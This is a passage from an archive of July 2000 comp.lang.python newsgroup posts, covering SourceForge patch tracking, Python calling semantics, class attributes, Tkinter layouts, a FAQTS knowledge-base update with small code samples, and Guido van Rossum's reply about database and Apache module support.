  FP> maintainers.  It seems more fit to me to adapt to the plenty of
  FP> users, than force all of them into the methods of a few.  This
  FP> is not far from haughty maintenance.  Besides, if the new
  FP> mechanics and bug tracking systems did not even care to provide
  FP> some interface or tools, so maintainers can receive and sort
  FP> email into it, then that system is also haughty and aggressive
  FP> at imposing itself.

I think haughty is a melodramatic word for the problem.  Rather, it's
an unfortunate side-effect of the transition to SourceForge.  That
transition has had a number of positive changes, not least of which is
giving a lot more developers write access to the CVS tree.  But
SourceForge isn't perfect and its support of email-only communication
is probably its weakest point.

We'd love to have a patch manager that supported tracking, assigning
responsibility, and email-only access!  But we don't have one and we
don't have the resources to build one.  

>From what little I've seen of it, I'm 
http://software-carpentry.codesourcery.com/entries/second-round/track/Roundup/
http://www.lfw.org/ping/sc-roundup.html

I hope that the eventual winner of the Software Carpentry contest in
the issues tracker category can be adopted by SourceForge for bugs and
patches.

  >> You might suggestion an email interface in the SourceForge
  >> feature request forum: https://sourceforge.net/forum/?group_id=1

  FP> Are you serious?  You would force me to use a Web forum to
  FP> discuss that Web is inappropriate?  This isn't real, I am
  FP> dreaming. :-(

You can discuss it on comp.lang.python to your heart's content, but it
won't have any effect on the people who maintain SourceForge.  If you
want to have an impact, you need to reach the people who have the
power to effect changes.

  FP> Please consider Web as a possible service, not as an inescapable
  FP> religion.  email is still ubiquitous, and very usable.  If your

I prefer email to the web as well, BTW.

  FP> bug tracking system cannot help you handling email, this should
  FP> be the problem of those having written or selected it, not mine,
  FP> and surely not mine to correct.

There's a big difference between one or two people requesting a
feature (email-only interface to patches) and many people requesting a
feature.  I ask you to request the feature on SourceForge because it
will only become a priority if its is seen as serving the needs of
many users.

  FP> P.S. - I nearly missed your message, it had no quote, and the
  FP> subject was improper.  Web abuse destroys one's elementary
  FP> communication skills :-).

??? My last message had the same subject as the message I responded
to.  No quoting was necessary as I wasn't addressing the specific
words of the previous messages.  Perhaps opposition to anything Web
related leads to tilting at windmills <1.0 wink>.

-- Jeremy Hylton <http://www.python.org/~jeremy/>




From tim_one at email.msn.com  Tue Jul 25 22:19:55 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Tue, 25 Jul 2000 22:19:55 -0400
Subject: "always passes by reference"
In-Reply-To: <8llct3$n34$1@news.dtc.hp.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEBEGMAA.tim_one@email.msn.com>

[Greg Weeks]
> Once upon a time, "pass by reference" meant that a function call
> f(x) could modify the binding of the variable x.

I suspect you're conflating "once upon a time" with the specific languages
you just happened to be using back then.  Calling conventions have *always*
been a zoo in reality, and all terms used to describe them are heavily
overloaded.  They usually make sense only in the context of a specific
language.

> With this definition, "pass by reference" effectively passes the
> address of the variable x to the function.  "pass by value", by contrast,
> passes only the value of the variable x, not its address.
>
> With these definitions, Python is uniformly "pass by value".
> So are Lisp, Java, and C, but not C++ and Perl.

I don't agree with any of that, but in the absence of much more careful
definitions this isn't going to get anywhere.

> I like these old definitions.  Unfortunately, things now get
> confusing when the value of a variable is an address.  This wasn't
> always the case.  In the Lisp and Smalltalk communities back in the
> early 80's (as I recall), it was generally understood that an
> interesting mutable data type (such as a list) is implemented
> internally as an address.  The address isn't a "reference" to a
> list.  The address IS the list.  But now it seems that under the
> influence of C and especially C++, the notion that an address can
> represent a thing (such as a list) is entirely out of favor.  Oh,
> well.

Languages that expose implementation accidents (like addresses) have a real
need to make this distinction.  Python, happily, does not.

> I prefer the old way of speaking.

I suspect I've been around even longer than you <wink>, and there was no
"the" old way of speaking:  just as now, there where many ways of speaking
about calling conventions, and some languages (e.g., Fortran) allowed many
ways of implementing their visible calling semantics (e.g., Fortran is what
you'd probably call a "call by reference" language based on its semantics,
but many implementations actually passed copies of scalar values, then
copied alterations of those copies back into the caller's memory locations
upon return -- in the Fortran implementation world, this went by the name of
"call by value/result").

> With the new way of speaking, both Python and Perl are "pass by
> reference", but Perl is somehow *more* so.

Perl is much more call by value, even in the venerable old Pascal sense.
For example, if you pass a list in Perl, Perl passes (the address of) a
physical copy of the list (much as Pascal made physical copies of non-var
array arguments).  It wasn't until Perl 5 that you could even ask for a
reference in Perl.  Python passes (the address of) the actual list, and
"list" can be replaced by any Python type whatsoever; all Python arguments
are treated exactly the same way.

> That's confusing.

That may be self-inflicted, you know <wink>.  Seriously, implementations are
subtle and varied.

> And in the new way of speaking, in Python you don't pass numbers,
> lists, and so on to functions.  You have to say that you pass
> "references" to these things.  But when you're in a hurry, you skip
> this "references" business and talk about passing numbers, lists,
> and so on.  This hasty way of speaking used to be considered correct,
> and I still like it.

By all means, use it!  You won't find Python experts talking about "passing
references" unless they're speaking to hardcore C or C++ people who can't
think in any other terms.  I *never* think of call semantics in Python that
way.  A semi-accepted term to describe what Python (and similar languages)
do is "call by object".  Anyone thinking about references under the covers
is just confusing their mental picture -- only the implementers have to
worry about that, and even then rarely.

it's-not-easy-to-be-simple-ly y'rs  - tim





From musingattheruins at my-deja.com  Sat Jul 22 01:15:41 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Sat, 22 Jul 2000 05:15:41 GMT
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com> <8la0fa$l9r$1@nnrp1.deja.com> <8la2mp$n5v$1@nnrp1.deja.com>
Message-ID: <8lball$jrf$1@nnrp1.deja.com>

In article <8la2mp$n5v$1 at nnrp1.deja.com>,
  Guillaume <forums at memoire.com> wrote:
>
> > you are attaching a per-object variable with b.a=2 try CA.a - i
think
> > you will find it is still 0.
> > regards,
> > bill
>
> Right, but what I want is a static class var defined in A.

CA.a __is__ the static class var.  get it?  it's the same for all
instances.



Sent via Deja.com http://www.deja.com/
Before you buy.


From jkraska1 at san.rr.com  Sat Jul 22 23:38:39 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 23 Jul 2000 03:38:39 GMT
Subject: bit manipulation frustration
Message-ID: <397A6980.CF15DB96@san.rr.com>

Okay. I'm getting a bit frustrated here. I'm trying to suck
bits out of a file (which is in a simple, but non standard
image format) and then convert this to a bitmap for wxPython.
I haven't gotten to the wxBitmap part yet, which I am assuming
will be easy, but the in-between part is driving me nuts.

First, in one fell swoop of antigenious, I seem to have
forgotten how to convert strings to sequences of char and
vice versa. Eeek. Help? Will someone please remind me and
hit me with a rubber mallet??? :)

Second, this whole paradigm seems so skrewball. While I
know exactly how to implement all of this in a external
C module, the program I'm writing is just a one off, and
I was expecting it to be easier in python.

The bitmap image is 16 bit color, but it's stored in
byte runs. As I load the image, I need to load 2,4,6,
8...44,42,40...2, 16 bit chunks at a time, but as I'm
doing this I have to create "black" runs on either side,
making the whole thing 44x44 (it's an isometric tile...
a square rotated 45 degrees, but bitmaps are square,
get it?)

I'm not seeing an elegant solution here; loading the
image as a string to begin with isn't right, because
my chunks are actually two byte chunks.

Anyone with any practical experience on how to *BEST*
do this kind of thing?

Am I just not thinking about this right?




C/


From thiele at muc.das-werk.de  Mon Jul  3 10:36:03 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 16:36:03 +0200
Subject: making widgets invisible
References: <3960794E.6E2B36E6@muc.das-werk.de> <8jq5bf$h45$1@nnrp1.deja.com>
Message-ID: <3960A4D3.F45133B4@muc.das-werk.de>

No I think this is not sooo nice. Becouse I want to replace the widget
with others.

mode One

|   not changing area           |
--------------------
|   Label    Entry   Button   |
|                                           |
--------------------


and then I want to change the layout into:
mode Two

|   not changing area         |
--------------------
|   Entry   Button  Entry      |
|                                           |
--------------------

(For instance.)
Just like an other dialog but within the mainframe.

And I want to switch between the two modes.




From tim_one at email.msn.com  Sat Jul  1 23:38:09 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sat, 1 Jul 2000 23:38:09 -0400
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
In-Reply-To: <037101bfe3e4$8558c820$6401a8c0@home>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEKBGHAA.tim_one@email.msn.com>

[Paul Prescod, links to ...]
> http://www.activestate.com/Products/VisualPython.html

[Darrell Gallion]
> Thanks for pointing this out. I see it comes up on google also.
>
> This should make the job of Python evangelizer that much simpler.
> Some people will feel that VC support puts Python on main street.

Well, that's just silly.  What it *does* do is validate Microsoft as a
serious competitor in the modern computer marketplace <wink>.

languages-live-longer-than-platforms-ly y'rs  - tim





From GustavsB at ch.sibt.com.bbs  Tue Jul 18 02:10:03 2000
From: GustavsB at ch.sibt.com.bbs (GustavsB at ch.sibt.com.bbs)
Date: 18 Jul 2000 06:10:03 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bRdUR$lK9@openbazaar.net>

"John Grayson" <johngrayson at home.com> wrote in message
news:8kmurf$6rf$1 at nnrp1.deja.com...
> Oh, well now I understand!
> You've reached the wrong newsgroup: you want comp.lang.phyton.
> You might get a reponse there! (or not...)

Shame on me! As an old dyslexic I was able to misspell the name of Python
:-( Shame on me!

Bruno Gustavs


From fiona at sitegnome.com  Mon Jul 17 00:52:37 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 17 Jul 2000 04:52:37 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 17th, 2000
Message-ID: <20000717045237.19026.qmail@synop.com>

Hi Guys,

Below are the latest entries to be entered into http://python.faqts.com

cheers,

Fiona Czuczman

Including:

- I'm writing a script that will act as a GUI interface to another 
script, and I want to have file browsing ability. How do I call this in 
Tkinter?
- Searching code for parsing mail headers encoded according to  RFC 2047 
(Message Header Extensions for Non-ASCII Text).
- Is there a way how I can identify the operating system my Python 
script is running on (e.g., Linux, Windows, Mac, ...)?
- How does python invoke external C function?
- How do I go about getting my dynamic IP address?
- How does the statement 'global' work?


## Unanswered Questions ########################################


-------------------------------------------------------------
can i run a script in an already running interpreter to hook a gui to a server process
http://www.faqts.com/knowledge-base/view.phtml/aid/4761
-------------------------------------------------------------
Slimy



## New Entries #################################################


-------------------------------------------------------------
I'm writing a script that will act as a GUI interface to another script, and I want to have file browsing ability. How do I call this in Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4768
-------------------------------------------------------------
Fiona Czuczman
John Grayson

This is not really a Tkinter issue, since you can fire up a file browser 
window from a simple Python program. However, it may introduce some 
special problems if you're doing it from a GUI. Therefore, here is some 
sample code to illustrate how to do this for Windows and Solaris 
platforms. You would have to adjust for other platforms. Note that if 
you're doing this just for Unix, that you don't need to thread: you can 
just fire off the command in the background...

from Tkinter import *
from tkSimpleDialog import *
import sys, os, thread


class App:
    def __init__(self, master):
        self.master = master
        Label(master, text='Browsing:').pack(side=LEFT,
                                             padx=4, pady=15)
        self.entry  = StringVar()
        Entry(master, width=50, bg='gray', textvariable=self.entry,
              state=DISABLED).pack(side=LEFT, padx=15, pady=15)
        Button(master, text='Browse...',
               command=self.browse).pack(side=BOTTOM)

    def browse(self):
        path  = askstring("Browse", "Enter directory")
        self.entry.set(path)

        browser = Browse(folder=path)

class Browse:
    def __init__(self, folder='.'):
        if sys.platform == 'win32':
            cmd = 'Explorer %s' % folder
        else:
            cmd = 'dtfile -folder %s' % folder
        thread.start_new_thread(self.doIt, (cmd,))

    def doIt(self, where):
        os.system(where)


root = Tk()
display = App(root)
root.mainloop()

Hope this helps to get you started.

BTW: Chapter 18 of Python and Tkinter Programming covers
handling asynchronous events and things that block the
mainloop...


-------------------------------------------------------------
Searching code for parsing mail headers encoded according to  RFC 2047 (Message Header Extensions for Non-ASCII Text).
http://www.faqts.com/knowledge-base/view.phtml/aid/4772
-------------------------------------------------------------
Fiona Czuczman
Fran?ois Pinard

I needed this soon after learning Python (so this is part of my first 
Python lines, I would probably write something simpler today :-) and 
quickly wrote what appears below.  However, I found out after the fact 
that the Python library had something already.  See 
mimify.mime_decode_header.


# Handling of RFC 2047 (previously RFC 1522) headers.

import re, string

def to_latin1(text):
    return _sub_f(r'=\?ISO-8859-1\?Q\?([^?]*)\?=', re.I, _replace1, 
text)

def _replace1(match):
    return _sub_f('=([0-9A-F][0-9A-F])', re.I, _replace2,
                  re.sub('_', ' ', match.group(1)))

def _replace2(match):
    return chr(string.atoi(match.group(1), 16))

def _sub_f(pattern, flags, function, text):
    matcher = re.compile(pattern, flags).search
    position = 0
    results = []
    while 1:
        match = matcher(text, position)
        if not match:
            results.append(text[position:])
            return string.joinfields(results, '')
        results.append(text[position:match.start(0)])
        position = match.end(0)
        results.append(function(match))


-------------------------------------------------------------
Is there a way how I can identify the operating system my Python script is running on (e.g., Linux, Windows, Mac, ...)?
http://www.faqts.com/knowledge-base/view.phtml/aid/4773
-------------------------------------------------------------
Fiona Czuczman
Emile van Sebille, Mahogany Rush, Matthew Schinckel

Look for Marc Lemburg's platform.py, or use the standard sys.platform.

Python 1.6a2 (#1, May 14 2000, 08:15:17)  [GCC 2.8.1] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import sys
>>> sys.platform
'sunos5'


If it is only for compatibilty reasons, you can use os.name.

This will give you one of: ['posix', 'nt', 'dos', 'mac', 'os2', 'ce'].


-------------------------------------------------------------
How does python invoke external C function?
http://www.faqts.com/knowledge-base/view.phtml/aid/4774
-------------------------------------------------------------
Fiona Czuczman
Wolfgang Grafen

I would recommend SWIG for a first step. You don't have to learn a lot
about extension modules with SWIG. Often it is easy like this (for sun 
solaris 2.5):

swig -python -module a a.c
gcc -O02 -DSWIG -c -fpic a.c a_wrap.c \
-I/user/freepool/sparc-sun-solaris2.5.1/lib/python/python1.52/include/py
thon1.5/

ld -G a.o a_wrap.o -o a.so

Then in Python you can use it like it is.

Python 1.5.2 (#33, May 17 2000, 17:03:52)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import a
>>> dir(a)
['__doc__', '__file__', '__name__', 'hex2bin', 'hex2bin_char',
'hex2bin_expand']
>>>

SWIG has a very good documentation. You can build extensions for PERL
and TCL the same way

http://www.swig.org

There is also another Corba-like Package called ILU. Probably SWIG is
more easy to use while ILU might be more powerful.

ftp://ftp.parc.xerox.com/pub/ilu/ilu.html


## Edited Entries ##############################################


-------------------------------------------------------------
How do I go about getting my dynamic IP address?
Detecting own computer's IP
http://www.faqts.com/knowledge-base/view.phtml/aid/4378
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Hans Nowak, Snippet 188, Python Snippet Support Team

"""
Packages: networking.sockets
"""

""" detectip.py
    Detects your own IP address. No big deal on Python; more work on Delphi
    (where the code originated from :).
"""

import socket

def detectip():
    buf = socket.gethostname()
    remotehost = socket.gethostbyname(buf)
    return remotehost


if __name__ == "__main__":

    print "Your IP address is", detectip()
    raw_input()


-------------------------------------------------------------
How does the statement 'global' work?
http://www.faqts.com/knowledge-base/view.phtml/aid/2902
-------------------------------------------------------------
Fiona Czuczman
Remco Gerlich, Thomas Wouters

Answer1:

Inside functions, if you assign to a variable, it is assumed to be local 
to the function. If you want to assign to a global (module namespace) 
variable, you'll have to tell Python that it's a global first. 

ie,

x = 4
def spam():
  x = 5
spam()

Doesn't change the module's x. But

x = 4
def spam()
  global x
  x = 5
spam()

does.

If, inside a function, you only use the variable and never assign to it, 
it can't be a local variable, so Python assumes you mean a global.

This doesn't only hold for functions, but classes and methods too.

Answer2:

Python has two namespaces it uses for name lookups: the 'local' 
namespace and the 'global' namespace (you could call it the 'search 
path'.) The local namespace is the function or class you are in, the 
global namespace is the namespace of the module. If you are not in a 
function or class, the local namespace is the global namespace.

However, *assigning* to a variable does not use this search path ! 
Instead, if you assign, you always assign in the local namespace. So, 
for instance:

X = None

def FillX(x):
        X = x

would not work, because the X you assign to, is the *local* X, not the
global one. This wouldn't even generate an error, by the way. Even more
confusing is it if you read from and assign to 'X' in the same function:

X = None

def FillX(x):
        if not X:
                X = x

In Python 1.5.2, this generates a NameError:

Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in FillX
NameError: X

and in Python 1.6, an UnboundLocalError:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in FillX
UnboundLocalError: X

It generates this strange error because the 'X' name exists in the local
namespace, but at the time of the test on X, it isn't filled in yet. The
interpreter knows it should be there, but can't find it at the time of
execution.

And this is what the 'global' keyword is for. It says 'this name is 
global, *even if* it gets assigned to. You only need it when you are 
assigning to globals, not when you are mutating them (appending to 
lists, adding to dictionaries, etc.)






From fredp at mygale.org.nospam  Thu Jul 20 11:42:07 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 20 Jul 2000 15:42:07 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org> <ADmd5.1701$6E.339824@ptah.visi.com> <8F7765F6DPaCmAnRDLM@161.48.76.20> <KKEd5.1819$6E.374955@ptah.visi.com>
Message-ID: <8F77B9FF5PaCmAnRDLM@161.48.76.20>

ge at nowhere.none (Grant Edwards) said :

>>Sadly, all this is much too cryptic for the sort of casual use
>>I had in mind -- it would actually be faster for me to dig out
>>the win32 extensions and do regular Windows, which I wanted to
>>avoid in the first place :-)
>
>If you want something easy to use, Tkinter is probably as
>simple as anything (and certainly simpler than curses).

* sigh * guess so... :-)
Somehow I had managed to avoid delving into Tkinter up to now... one more 
thing to learn about :-)
Thanks anyway !

-- 
YAFAP : http://www.multimania.com/fredp/


From johnvert at my-deja.com  Tue Jul 11 14:50:15 2000
From: johnvert at my-deja.com (johnvert at my-deja.com)
Date: Tue, 11 Jul 2000 18:50:15 GMT
Subject: Comparing a string
Message-ID: <8kfq90$vd$1@nnrp1.deja.com>

Hi,

How can I compare two strings in a case-insensetive way? I couldn't find
a function similar to strcasecmp or even to strcmp in
http://www.python.org/doc/current/lib/module-string.html.  I understand
it's a silly question, but I can't find a way to do this (I don't want
to use regexps)

Thanks,
-- John


Sent via Deja.com http://www.deja.com/
Before you buy.


From tony at lsl.co.uk  Mon Jul 10 11:58:52 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Mon, 10 Jul 2000 16:58:52 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8kcqug$p32$1@newshost.accu.uu.nl>
Message-ID: <002901bfea87$be58fa10$f0c809c0@lslp7o.lsl.co.uk>

Martijn Faassen wrote:
> > In todays emphasis on shared services over the
> > net, a lot of this begins to sound remarkably prescient.
>
> Definitely! When did this research take place?

Ooh - I left Glasgow (where I *wasn't* working in Computing Science!) about
3 years ago now, and it had been going on for at least 3 years before that.
The person I knew who used to make it all sound like it mattered (he used to
work with the same company I work for) is/was Peter Dickman, and his
homepage at http://www.dcs.gla.ac.uk/~pd/ may be a sensible starting point
(and the PJama homepage from the other end, of course).

> > But I *know* I don't understand the field, so I'll shut up straight away
> > about it...
>
> I don't understand the field either, so let's babble on. Perhaps we'll
> learn something. :)

Unfortunately, all I need is *another* thing to learn about on my backburner
(but, damn, it just got added - time to do some reading I guess...)

> This article by Andrew Kuchling may be interesting, if you're
> just interested in the ZODB and ZEO by itself:

> http://starship.python.net/crew/amk/python/writing/zodb-zeo.html

Right - if I can get damned IE to do it, I'll print that off and add it to
the other couple of ZODB/etc papers I'd found to take home.

Tibs

(the signature? well, it's related to the reason I started the mxTextTools
metalanguage thingy, which then relates to why I might be interested in
ZODB, and Zope, and also to a biliography I never finished, and ...)
--
BikeCode0.2	http://www.tibsnjoan.demon.co.uk/bikecode.html
  P: [Tibs] Tc B10 K:++ i29:30" h1.65m n1960 H+:~ v~ A+ M+ Rg-
  B: [AnthroTech]   3tRu U1c w37" Wr19:406 Mfr SAf bDh[Sachs]:C
                    G3x7 8s Lrr1B Cb[Michael] VjsX col[MidnightBlue]
  T: [BurleyD'Lite] 2c2[Thomas] f++ VsX
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From fred at niwot.scd.ucar.edu  Wed Jul  5 20:22:29 2000
From: fred at niwot.scd.ucar.edu (Fred Clare)
Date: 6 Jul 2000 00:22:29 GMT
Subject: pyfort
Message-ID: <8k0jg5$ics$1@ncar.ucar.edu>

I have just started looking at pyfort (see
http://www-pcmdi.llnl.gov/software/cdat/index.html)
to add Fortran extensions.  Running pyfort produces
a C file that contains an include:

#include "Numeric/arrayobject.h"

I have implemented Numeric Python, but nowhere can
I find the above include file in the source.  Any
pointers would be appreciated.

-- 
Fred Clare
fred at ucar.edu


From grey at despair.rpglink.com  Fri Jul 28 11:07:09 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:07:09 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <75k2osst2eh5nbel73ju033l8s97bs2v0s@4ax.com>
Message-ID: <slrn8o388q.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 09:21:28 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>Well, what if you wanted 
>	1 + "1"
>to result in "11", not 2?

    Then cast it as a string operation explicitly.  The point is that it is
easier to cast the exceptions rather than as the rule.  

>That could lead to some interesting results if you expect numerical input.

    Yes it could, that is why good programmers check their input data before
performing opertions when the data set is not trusted.  I'm amazed that people
in this thread have repeatedly stated things like, "Well, if it did that it
would work in design but a user would make it crap out."  Sorry, same thing
can be said for Python as well for any time user input is taken and the
variables are not checked before performing operations.  It raises an
exception all the way out (because if you assume a programmer doesn't check
their data, they don't check exceptions, either) and the program still craps
out.  I'd much rather the language assume I am intelligent enough to check
instead of assume I am not and question me on every single operation.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From aahz at netcom.com  Fri Jul 14 11:50:25 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 14 Jul 2000 15:50:25 GMT
Subject: OSCON dinner?  (Thurs 7/20)
Message-ID: <8kncs1$j2f$1@slb7.atl.mindspring.net>

Because of work, I can only be at OSCON next week for one day.  Anyone
want to get together for dinner on Thursday 7/20?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From guido at beopen.com  Mon Jul 24 11:00:00 2000
From: guido at beopen.com (Guido van Rossum)
Date: Mon, 24 Jul 2000 10:00:00 -0500
Subject: Open letter to Guido van Rossum
In-Reply-To: Your message of "Mon, 24 Jul 2000 00:02:57 -0400."
             <200007240401.AAA07578@mail3.mia.bellsouth.net> 
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> 
Message-ID: <200007241500.KAA15212@cj20424-a.reston1.va.home.com>

Dan,

Thanks for your letter.  I'll try to address each point separately:

Point: Oracle. I know zit about Oracle, and I don't have an Oracle
database sitting in a corner here, so I don't know how I could decide
between the existing solutions!  (I see at least three in the Vaults
of Parnassus.)  This is an issue better brought up in the db-sig, but
last I looked the db-sig was comatose itself.  I really don't know
what else I could do!

Point: Apache module.  As far as I know this is the module currently
favored by Greg Stein, who knows the Apache internals far better than
I do.  If you have specific problems with mod_python, I suggest
sending a bug report (or better: a patch!) to its author (see
http://www.modpython.org/).

Point: MySQL.  Almost the same as Oracle, except PythonLabs team
member Jeremy Hylton knows a lot about MySQL.  I've cc'ed him.
Jeremy, can you recommend a specific MySQL extension?  We could do
something about this, e.g. include it in the core distribution (if
it's orphaned and the license allows it) or at least have a
recommendation on python.org.

--Guido van Rossum (home page: http://dinsdale.python.org/~guido/)

> Subject: Open letter to Guido van Rossum
> From: Dan Grassi <Dan at Grassi.org>
> To: "Guido van Rossum" <guido at beopen.com>
> Cc: <python-list at python.org>, <psa-members at python.org>,
>     <python-dev at beopen.com>
> Date: Mon, 24 Jul 2000 00:02:57 -0400
> 
> Hi Guido,
> 
> Well, I am rather ambivalent about 1.6.  See, I really like python and 
> want to use it at work, a dot-com --- in fact I would like it to be the 
> standard.  But I doubt that it will come to pass, there are to many 
> stumbling blocks.
> 
> First and foremost is database support as a part of the languare 
> _package_!  In particulay I need Oracle on ix86, a not uncommon database. 
>  But that is no trivial task.  Thus python fails because it can not be 
> used in a production environment that involves Oracle.
> 
> Then there is the mod-python/mod_pyapache mess, two competing versions 
> both with major problems ranging from re not working in the module 
> version of mod_python to memory leaks in both versions.  Memory leaks are 
> a major problem in a shop that is serving over 1 million pages a day.
> 
> Also in the area of divergence is the MySQL database interface modules, 
> there are at least two and I believe four current versions.
> 
> OK, but this is not python!  Well, technically that is true but these are 
> problems when one tries to use python in production!
> 
> I suggest that you, Guido van Rossum, father and inventor of Python, 
> "bless" some versions and thus get development behind single versions 
> instead of diverging from each other.  Thjis in much the same manner that 
> Linus blesses a release of Linux.
> 
> Oh well, this is just wishing upon a star. :-)  At least I do get to use 
> python on occasion, thanks.
> 
> Dan Grassi



From moshez at math.huji.ac.il  Sat Jul 29 01:00:45 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 29 Jul 2000 08:00:45 +0300 (IDT)
Subject: Perl is worse! (was: Python is Wierd!)
In-Reply-To: <iWhg5.2682$6E.684157@ptah.visi.com>
Message-ID: <Pine.GSO.4.10.10007290759550.14662-100000@sundial>

On Fri, 28 Jul 2000, Grant Edwards wrote:

> Why does "what non-programmers do" matter when designing a
> programming language?

Because Python is meant to be an easy first language.

and-it-does-that-wonderfully-ly y'rs, Z.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From ge at nowhere.none.bbs  Mon Jul 17 16:50:04 2000
From: ge at nowhere.none.bbs (ge at nowhere.none.bbs)
Date: 17 Jul 2000 20:50:04 GMT
Subject: newbie unimpressed...
Message-ID: <3bRP2T$m9_@openbazaar.net>

In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:

>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>>
>>(I'm using python 1.5.1 on Redhat 5.2)
>
>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>much better, for starters.

FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
6.[01], but 6.2 seems to be decent.

--
Grant Edwards                   grante             Yow!  I'm wearing PAMPERS!!
                                  at
                               visi.com


From johannes at zellner.org  Thu Jul  6 19:15:20 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Fri, 7 Jul 2000 01:15:20 +0200 (CEST)
Subject: eval
In-Reply-To: <006601bfe79f$77fe8b10$788b18ac@boeckh.com>
Message-ID: <Pine.LNX.4.21.0007070112170.6842-100000@krispc6.physik.uni-karlsruhe.de>

On Thu, 6 Jul 2000, Stuart Ford wrote:

> 
> ----- Original Message ----- 
> From: Johannes Zellner <johannes at zellner.org>
> To: <python-list at python.org>
> Sent: Thursday, July 06, 2000 5:46 PM
> Subject: eval
> 
> 
> > 
> > Hi,
> > 
> > how does eval work ?
> > 
> >     eval('print "fred"')
> > 
> 
> exec not a function in the real sense, but a core command,
> it does not require the use of parentheses. 
> 
> Examples:
> 
> eval 'print "fred"'     will work..
> 
> or 
> 
> command = 'print "fred"'
> exec command                  will work just as well..
> 
> I have used exec to process dynamically written code within the
> current namespace.

ahh. I see. thanks.

And how do I define the scope where exec evaluates ?
E.g.

def generator(x):
  eval 'def '+x+'(y): print "fred"'

and after calling
>>> generator('lola')
I want to be able to use
>>> lola('lolita')

-- 
   Johannes




From forums at memoire.com  Fri Jul 21 12:56:12 2000
From: forums at memoire.com (Guillaume)
Date: Fri, 21 Jul 2000 16:56:12 GMT
Subject: Class static variables
Message-ID: <8l9vb3$kae$1@nnrp1.deja.com>

> > I'm writing a tool to translate a variety of OO
> > programming languages. Especially I target Python
> > but I am hesitating about the way to define
> > class-scope static variables. Could you suggest me
> > what is the best and natural form ?
> >
> > Example: MyClass { static int a; }
> > - MyClass_a
> > - accessors + global var
> > - any other form
> MyClass.a will work unless it is a function. (class attributes that
are
> functions are magically turned into instance methods) For example:
>
> class MyClass:
>     #define class attribute
>     a = 0
>     def method(self):
>         #use class attribute
>         do_something_with(MyClass.a)
>
> #use class attribute outside of MyClass
> do_something_else_with(MyClass.a)

Thanx for the answer but...

>>> class CA:
...     a=0
...
>>> b=CA()
>>> b.a
0
>>> b.a=2
>>> c=CA()
>>> c.a
0
>>> b.a
2

# c.a should be 2 and not 0 if a is a static attribute.

>>> class CB(CA):
... 	pass

>>> CB.a=3
>>> CB.a
3
>>> CA.a
0

# here a big problem. the attribute is not inherited...

So for all these reasons, I think I will use __getattr__ and __setattr__
Here is the code I should generate for managing static vars.
Fortunately, there is no need to change the python access for reading.

class A:
	def __setattr__(self,name,value):
		print "A: set "+name+" %s" % value
		try:
			A.__dict__[name]
			A.__dict__[name]=value
			return None
		except KeyError:
			self.__dict__[name]=value

# static vars for A
A.x="XX"
A.w="WW"

class B(A):
	# instance vars for B
	z=None
	def __setattr__(self,name,value):
		print "B: set "+name+" %s" % value
		try:
			B.__dict__[name]
			B.__dict__[name]=value
			return None
		except KeyError:
			A.__setattr__(self,name,value)

# static vars for B
B.y="YY"

a=A()
b=B()

b.z="ZZ"

print b.z
print b.w

print a.x
a.x="XXXX"
print a.x
print b.y
b.y="YYYY"
print b.y
print b.x

try:
	print b.v
except AttributeError:
	print "v is not defined..."





Sent via Deja.com http://www.deja.com/
Before you buy.


From tim.hochberg at ieee.org  Wed Jul 19 11:06:13 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 19 Jul 2000 15:06:13 GMT
